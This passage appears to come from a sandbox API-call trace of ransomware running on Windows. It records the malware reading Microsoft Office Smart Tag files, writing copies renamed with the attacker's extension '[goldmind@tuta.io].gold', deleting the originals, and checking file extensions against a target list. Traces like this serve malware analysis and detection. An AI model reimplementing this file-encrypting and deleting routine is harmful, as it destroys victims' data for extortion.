Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.643] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=2687) returned 1 [0039.643] CloseHandle (hObject=0x178) returned 1 [0039.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0039.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.643] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.643] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0039.643] GetLastError () returned 0x0 [0039.643] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xa7f, lpOverlapped=0x0) returned 1 [0039.644] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xa80, lpOverlapped=0x0) returned 1 [0039.645] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0039.645] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe8, lpOverlapped=0x0) returned 1 [0039.645] SetEndOfFile (hFile=0x204) returned 1 [0039.645] CloseHandle (hObject=0x204) returned 1 [0039.646] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.646] SetEndOfFile (hFile=0x178) returned 1 [0039.647] CloseHandle (hObject=0x178) returned 1 [0039.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0039.647] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0039.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0039.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0039.647] lstrlenW (lpString=".doc") returned 4 [0039.647] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.647] lstrlenW (lpString=".docx") returned 5 [0039.647] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0039.647] lstrlenW (lpString=".pdf") returned 4 [0039.647] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.647] lstrlenW (lpString=".xls") returned 4 [0039.647] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.647] lstrlenW (lpString=".xlsx") returned 5 [0039.647] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0039.647] lstrlenW (lpString=".ppt") returned 4 [0039.647] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0039.648] lstrlenW (lpString=".zip") returned 4 [0039.648] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.648] lstrlenW (lpString=".rar") returned 4 [0039.648] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.648] lstrlenW (lpString=".bz2") returned 4 [0039.648] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.648] lstrlenW (lpString=".7z") returned 3 [0039.648] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0039.648] lstrlenW (lpString=".dbf") returned 4 [0039.648] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0039.648] lstrlenW (lpString=".1cd") returned 4 [0039.648] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0039.648] lstrlenW (lpString=".jpg") returned 4 [0039.648] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0039.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0039.648] lstrlenW (lpString=".doc") returned 4 [0039.648] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.648] lstrlenW (lpString=".docx") returned 5 [0039.648] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0039.648] lstrlenW (lpString=".pdf") returned 4 [0039.648] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.648] lstrlenW (lpString=".xls") returned 4 [0039.648] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.648] lstrlenW (lpString=".xlsx") returned 5 [0039.648] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0039.648] lstrlenW (lpString=".ppt") returned 4 [0039.648] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0039.648] lstrlenW (lpString=".zip") returned 4 [0039.648] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.648] lstrlenW (lpString=".rar") returned 4 [0039.648] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.648] lstrlenW (lpString=".bz2") returned 4 [0039.648] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.648] lstrlenW (lpString=".7z") returned 3 [0039.648] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0039.648] lstrlenW (lpString=".dbf") returned 4 [0039.648] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0039.648] lstrlenW (lpString=".1cd") returned 4 [0039.648] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0039.648] lstrlenW (lpString=".jpg") returned 4 [0039.648] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.648] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0039.649] lstrlenW (lpString="TIME.XML") returned 8 [0039.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.649] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=8564) returned 1 [0039.649] CloseHandle (hObject=0x178) returned 1 [0039.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0039.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.649] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.649] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0039.649] GetLastError () returned 0x0 [0039.649] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x2174, lpOverlapped=0x0) returned 1 [0039.651] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x2180, lpOverlapped=0x0) returned 1 [0039.651] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0039.651] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe4, lpOverlapped=0x0) returned 1 [0039.652] SetEndOfFile (hFile=0x204) returned 1 [0039.652] CloseHandle (hObject=0x204) returned 1 [0039.652] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.652] SetEndOfFile (hFile=0x178) returned 1 [0039.653] CloseHandle (hObject=0x178) returned 1 [0039.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0039.653] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0039.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0039.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0039.654] lstrlenW (lpString=".doc") returned 4 [0039.654] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.654] lstrlenW (lpString=".docx") returned 5 [0039.654] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0039.654] lstrlenW (lpString=".pdf") returned 4 [0039.654] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.654] lstrlenW (lpString=".xls") returned 4 [0039.654] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.654] lstrlenW (lpString=".xlsx") returned 5 [0039.654] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0039.654] lstrlenW (lpString=".ppt") returned 4 [0039.654] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0039.654] lstrlenW (lpString=".zip") returned 4 [0039.654] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.654] lstrlenW (lpString=".rar") returned 4 [0039.654] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.654] lstrlenW (lpString=".bz2") returned 4 [0039.654] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.654] lstrlenW (lpString=".7z") returned 3 [0039.654] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0039.654] lstrlenW (lpString=".dbf") returned 4 [0039.654] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0039.654] lstrlenW (lpString=".1cd") returned 4 [0039.654] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0039.654] lstrlenW (lpString=".jpg") returned 4 [0039.654] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0039.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0039.654] lstrlenW (lpString=".doc") returned 4 [0039.654] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.654] lstrlenW (lpString=".docx") returned 5 [0039.654] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0039.654] lstrlenW (lpString=".pdf") returned 4 [0039.654] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.654] lstrlenW (lpString=".xls") returned 4 [0039.654] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.654] lstrlenW (lpString=".xlsx") returned 5 [0039.654] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0039.654] lstrlenW (lpString=".ppt") returned 4 [0039.654] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0039.654] lstrlenW (lpString=".zip") returned 4 [0039.654] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.655] lstrlenW (lpString=".rar") returned 4 [0039.655] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.655] lstrlenW (lpString=".bz2") returned 4 [0039.655] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.655] lstrlenW (lpString=".7z") returned 3 [0039.655] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0039.655] lstrlenW (lpString=".dbf") returned 4 [0039.655] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0039.655] lstrlenW (lpString=".1cd") returned 4 [0039.655] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0039.655] lstrlenW (lpString=".jpg") returned 4 [0039.655] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.655] lstrcmpiW (lpString1=".XSL", lpString2=".gold") returned 1 [0039.655] lstrlenW (lpString="BASMLA.XSL") returned 10 [0039.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.655] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=227311) returned 1 [0039.655] CloseHandle (hObject=0x178) returned 1 [0039.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0039.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.655] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.656] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0039.656] GetLastError () returned 0x0 [0039.656] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x377ef, lpOverlapped=0x0) returned 1 [0039.660] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0039.663] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0039.664] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe8, lpOverlapped=0x0) returned 1 [0039.664] SetEndOfFile (hFile=0x204) returned 1 [0039.665] CloseHandle (hObject=0x204) returned 1 [0039.667] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.667] SetEndOfFile (hFile=0x178) returned 1 [0039.669] CloseHandle (hObject=0x178) returned 1 [0039.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0039.669] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0039.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0039.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0039.669] lstrlenW (lpString=".doc") returned 4 [0039.670] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0039.670] lstrlenW (lpString=".docx") returned 5 [0039.670] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0039.670] lstrlenW (lpString=".pdf") returned 4 [0039.670] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0039.670] lstrlenW (lpString=".xls") returned 4 [0039.670] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0039.670] lstrlenW (lpString=".xlsx") returned 5 [0039.670] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0039.670] lstrlenW (lpString=".ppt") returned 4 [0039.670] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0039.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0039.670] lstrlenW (lpString=".zip") returned 4 [0039.670] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0039.670] lstrlenW (lpString=".rar") returned 4 [0039.670] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0039.670] lstrlenW (lpString=".bz2") returned 4 [0039.670] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0039.670] lstrlenW (lpString=".7z") returned 3 [0039.670] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0039.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0039.670] lstrlenW (lpString=".dbf") returned 4 [0039.670] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0039.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0039.670] lstrlenW (lpString=".1cd") returned 4 [0039.670] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0039.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0039.670] lstrlenW (lpString=".jpg") returned 4 [0039.670] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0039.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0039.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0039.670] lstrlenW (lpString=".doc") returned 4 [0039.670] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0039.670] lstrlenW (lpString=".docx") returned 5 [0039.670] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0039.670] lstrlenW (lpString=".pdf") returned 4 [0039.670] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0039.670] lstrlenW (lpString=".xls") returned 4 [0039.670] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0039.670] lstrlenW (lpString=".xlsx") returned 5 [0039.670] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0039.670] lstrlenW (lpString=".ppt") returned 4 [0039.670] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0039.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0039.670] lstrlenW (lpString=".zip") returned 4 [0039.671] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0039.671] lstrlenW (lpString=".rar") returned 4 [0039.671] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0039.671] lstrlenW (lpString=".bz2") returned 4 [0039.671] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0039.671] lstrlenW (lpString=".7z") returned 3 [0039.671] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0039.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0039.671] lstrlenW (lpString=".dbf") returned 4 [0039.671] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0039.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0039.671] lstrlenW (lpString=".1cd") returned 4 [0039.671] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0039.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0039.671] lstrlenW (lpString=".jpg") returned 4 [0039.671] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0039.671] lstrcmpiW (lpString1=".TXT", lpString2=".gold") returned 1 [0039.671] lstrlenW (lpString="METCONV.TXT") returned 11 [0039.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart 